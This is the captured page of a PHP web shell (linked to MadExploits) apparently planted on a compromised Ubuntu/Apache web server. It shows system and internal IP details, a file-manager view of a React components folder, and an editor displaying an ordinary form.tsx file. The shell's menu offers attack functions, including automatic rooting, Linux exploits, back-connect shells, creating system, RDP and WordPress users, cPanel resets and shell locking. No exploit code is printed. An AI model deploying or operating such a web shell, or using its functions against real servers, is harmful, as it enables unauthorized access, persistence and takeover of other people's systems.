Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
src /
components /
ui /
[ HOME SHELL ]
Name
Size
Permission
Action
accordion.tsx
1.93
KB
-rw-r--r--
alert-dialog.tsx
4.21
KB
-rw-r--r--
alert.tsx
1.51
KB
-rw-r--r--
aspect-ratio.tsx
143
B
-rw-r--r--
avatar.tsx
1.33
KB
-rw-r--r--
badge.tsx
1.06
KB
-rw-r--r--
breadcrumb.tsx
2.62
KB
-rw-r--r--
button.tsx
1.8
KB
-rw-r--r--
calendar.tsx
2.5
KB
-rw-r--r--
card.tsx
1.74
KB
-rw-r--r--
carousel.tsx
6.1
KB
-rw-r--r--
chart.tsx
9.75
KB
-rw-r--r--
checkbox.tsx
1.03
KB
-rw-r--r--
collapsible.tsx
320
B
-rw-r--r--
command.tsx
4.71
KB
-rw-r--r--
context-menu.tsx
7.02
KB
-rw-r--r--
dialog.tsx
3.67
KB
-rw-r--r--
drawer.tsx
2.87
KB
-rw-r--r--
dropdown-menu.tsx
7.09
KB
-rw-r--r--
form.tsx
3.92
KB
-rw-r--r--
hover-card.tsx
1.17
KB
-rw-r--r--
input-otp.tsx
2.12
KB
-rw-r--r--
input.tsx
799
B
-rw-r--r--
label.tsx
696
B
-rw-r--r--
menubar.tsx
7.68
KB
-rw-r--r--
navigation-menu.tsx
4.91
KB
-rw-r--r--
pagination.tsx
2.62
KB
-rw-r--r--
popover.tsx
1.21
KB
-rw-r--r--
progress.tsx
765
B
-rw-r--r--
radio-group.tsx
1.41
KB
-rw-r--r--
resizable.tsx
1.66
KB
-rw-r--r--
scroll-area.tsx
1.57
KB
-rw-r--r--
select.tsx
5.44
KB
-rw-r--r--
separator.tsx
698
B
-rw-r--r--
sheet.tsx
4.1
KB
-rw-r--r--
sidebar.tsx
22.3
KB
-rw-r--r--
skeleton.tsx
234
B
-rw-r--r--
slider.tsx
1.04
KB
-rw-r--r--
sonner.tsx
877
B
-rw-r--r--
switch.tsx
1.12
KB
-rw-r--r--
table.tsx
2.63
KB
-rw-r--r--
tabs.tsx
1.85
KB
-rw-r--r--
textarea.tsx
751
B
-rw-r--r--
toast.tsx
4.69
KB
-rw-r--r--
toaster.tsx
730
B
-rw-r--r--
toggle-group.tsx
1.67
KB
-rw-r--r--
toggle.tsx
1.38
KB
-rw-r--r--
tooltip.tsx
1.13
KB
-rw-r--r--
use-toast.ts
82
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : form.tsx
import * as React from "react"; import * as LabelPrimitive from "@radix-ui/react-label"; import { Slot } from "@radix-ui/react-slot"; import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form"; import { cn } from "@/lib/utils"; import { Label } from "@/components/ui/label"; const Form = FormProvider; type FormFieldContextValue< TFieldValues extends FieldValues = FieldValues, TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>, > = { name: TName; }; const FormFieldContext = React.createContext<FormFieldContextValue>({} as FormFieldContextValue); const FormField = < TFieldValues extends FieldValues = FieldValues, TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>, >({ ...props }: ControllerProps<TFieldValues, TName>) => { return ( <FormFieldContext.Provider value={{ name: props.name }}> <Controller {...props} /> </FormFieldContext.Provider> ); }; const useFormField = () => { const fieldContext = React.useContext(FormFieldContext); const itemContext = React.useContext(FormItemContext); const { getFieldState, formState } = useFormContext(); const fieldState = getFieldState(fieldContext.name, formState); if (!fieldContext) { throw new Error("useFormField should be used within <FormField>"); } const { id } = itemContext; return { id, name: fieldContext.name, formItemId: `${id}-form-item`, formDescriptionId: `${id}-form-item-description`, formMessageId: `${id}-form-item-message`, ...fieldState, }; }; type FormItemContextValue = { id: string; }; const FormItemContext = React.createContext<FormItemContextValue>({} as FormItemContextValue); const FormItem = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>( ({ className, ...props }, ref) => { const id = React.useId(); return ( <FormItemContext.Provider value={{ id }}> <div ref={ref} className={cn("space-y-2", className)} {...props} /> </FormItemContext.Provider> ); }, ); FormItem.displayName = "FormItem"; const FormLabel = React.forwardRef< React.ElementRef<typeof LabelPrimitive.Root>, React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> >(({ className, ...props }, ref) => { const { error, formItemId } = useFormField(); return <Label ref={ref} className={cn(error && "text-destructive", className)} htmlFor={formItemId} {...props} />; }); FormLabel.displayName = "FormLabel"; const FormControl = React.forwardRef<React.ElementRef<typeof Slot>, React.ComponentPropsWithoutRef<typeof Slot>>( ({ ...props }, ref) => { const { error, formItemId, formDescriptionId, formMessageId } = useFormField(); return ( <Slot ref={ref} id={formItemId} aria-describedby={!error ? `${formDescriptionId}` : `${formDescriptionId} ${formMessageId}`} aria-invalid={!!error} {...props} /> ); }, ); FormControl.displayName = "FormControl"; const FormDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>( ({ className, ...props }, ref) => { const { formDescriptionId } = useFormField(); return <p ref={ref} id={formDescriptionId} className={cn("text-sm text-muted-foreground", className)} {...props} />; }, ); FormDescription.displayName = "FormDescription"; const FormMessage = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>( ({ className, children, ...props }, ref) => { const { error, formMessageId } = useFormField(); const body = error ? String(error?.message) : children; if (!body) { return null; } return ( <p ref={ref} id={formMessageId} className={cn("text-sm font-medium text-destructive", className)} {...props}> {body} </p> ); }, ); FormMessage.displayName = "FormMessage"; export { useFormField, Form, FormItem, FormLabel, FormControl, FormDescription, FormMessage, FormField };
Close